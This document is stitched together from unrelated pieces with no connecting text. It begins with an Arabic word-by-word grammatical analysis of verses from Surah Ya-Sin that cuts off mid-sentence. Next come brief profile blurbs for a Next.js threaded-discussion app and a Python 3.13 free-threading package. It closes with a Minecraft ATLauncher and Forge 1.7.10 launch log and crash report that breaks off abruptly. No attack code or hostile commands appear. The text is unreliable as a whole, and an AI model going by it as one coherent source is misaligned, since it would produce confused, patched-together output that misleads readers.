قال الشيخ: "وإذا كان بدلا كان "مايدعون" خصوصًاوالظاهر أنه عموم في كل "مايدّعون" وإذا كان عمومًا لم يكن بدلا منه. 3- أنه صفة "ما" وهذا إذا جعلتها نكرة موصوفة، أما إذا جعلتها بمعنى الذي أو مصدرية تعذر ذلك لتخالفها تعريفا وتنكيرا. 4- أنه خبر مبتدا مضمر أي "هو سلام". 5- أنه مبتدأ خبره ناصب "قولا" أي يقال لهم قولاً، وقيل تقديره "سلام عليكم". 6- أنه مبتدا وخبره "من رب" و "قولا" مصدر مؤكد لمضمون الجملة وهو مع عامه معترض بين المبتدأ والخبر، وقال الزمخشري: "والأوجه أن ينصب على الإختصاص وهو من مجاز" وجعله السيوطي الجلال منصوبًا بنزع الخافض وقال آخرون: " هو مصدر منصوب بفعل محذوف. (إعراب القرآن الكريم وبيانه.م:8,ج:22,ص:218. 59- ﴿وامتازوا اليوم أيها المجرمون﴾ "اليوم" ظرف زمان منصوب بالفتحة الظاهرة. "أي" اسم نداء مبني على الضمة. "المجرمون" بدل مرفوع بالواو لأنه جمع مذكرسالم. 60- ﴿ألم أعهد إليكم يا بني آدم أن لا تعبدوا الشيطان إنه لكم عدو مبين﴾ "بني" منادى منصوب بالياء لأنه ملحق بجمع المذكر السالم. "آدم" مجرور بالإضافة وعلامة جره الفتحة لأنه ممنوع من الصرف. "الشيطان" مفعول به منصوب بالفتحة الظاهرة. "عدو" خبر إنّ مرفوع بالضمة الظاهرة. "مبين" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. 61-﴿وأن اعبدوني هذا صراط مستقيم﴾ "ذا" اسم إشارة مبني على السكون في محل رفع مبتدأ. "صراط" خبر المبتدأ مرفوع بالضمة الظاهرة. "مستقيم" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. 62- ﴿ولقد أضل منكم جبلاًّ كثيرًا أفلم تكونوا تعقلون﴾ "جبلا" مفعول به منصوب بالفتحة الظاهرة. "كثيرا" منصوب لمتابعة المنعوت وعلامة نصبه الفتحة الظاهرة. 63- ﴿هذه جهنم التي كنتم توعدون﴾ "ذه" اسم إشارة مبني على الكسرة في محل رفع مبتدأ. "جهنم" خبر المبتدأ مرفوع بالضمة الظاهرة. "التي" اسم موصول مبني على السكون في محل رفع على متابعة البدل. 64- ﴿اصلوها اليوم بما كنتم تكفرون﴾ "اليوم" ظرف زمان منصوب بالفتحة الظاهرة. "ما" اسم مصدري مبني على السكون في محل الجر بالباء. 65- ﴿اليوم نختم على أفواههم وتكلمنا أيديهم وتشهد أرجلهم بما كانوا يكسبون﴾ "اليوم" ظرف زمان منصوب بالفتحة الظاهرة. "أفواه" مجرور بعلى وعلامة جره الكسرة الظاهرة. "أيدي" فاعل مرفوع بضمة مقدرة على الياء منع من ظهورها الثقل. "أرجل" فاعل مرفوع بالضمة الظاهرة. "ما اسم موصول مبني على السكون في محل الجر بالباء. 66- ﴿ولو نشاء لطمسنا على أعينهم فاستبقوا الصراط فأنى يبصرون﴾ "لو" اسم شرط مبني على السكون. "أعين" مجرور بعلى وعلامة جره الكسرة الظاهرة. "الصراط" ظرف مكان منصوب بالفتحة الظاهرة.(1) "أني" اسم استفهام مبني على السكون في محل نصب على الحال. 1- قال الزمخشري: "لا يخلو من أن يكون على حذف الجار وإيصال الفعل، والأصل فاستبقوا إلى الصراط معنى ابتدروا أو يجعل الصراط مسبوقا لا مسبوقا إليه أو ينتصب على الظرف، والمعنى أنه لوشاء لمسح أعينهم فلو راموا أن يسبقوا إلى الطريق المهيع الذي اعتادوا سلوكه إلى مساكنهم وإلى مقاصدهم المألوفة التي ترددوا إليها كثيرًا كما كانوا يسبقون إليه ساعين في متصرفاتهم موضعين في أموردنياهم ولم يقدروا وتعايا عليهم أن يبصروا ويعلموا جهة السلوك فضلا عن غيره كما أو لو شاء لأعماهم فلو أرادوا أن يمشوا مسبقين في الطريق المألوف كما كان ذلك هجيراهم يستطيعوا اعتادوا المشي فيه لعجزوا ولم يعرفوا طريقا". وقال السمين: "والصراط ظرف مكان مختص عند
Ganeshshinde-2003
Thread is a Next.js 13-powered web app that enables threaded discussions, community creation, and user interaction. Join discussions, explore communities, and connect with users in this dynamic platform.
Donny-GUI
A high-performance Python package built specifically for Python 3.13, and true free-threaded (no-GIL) execution. py13x provides utilities for parallel processing, memory management, profiling, and thread-safe operations optimized for GIL-free Python.
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 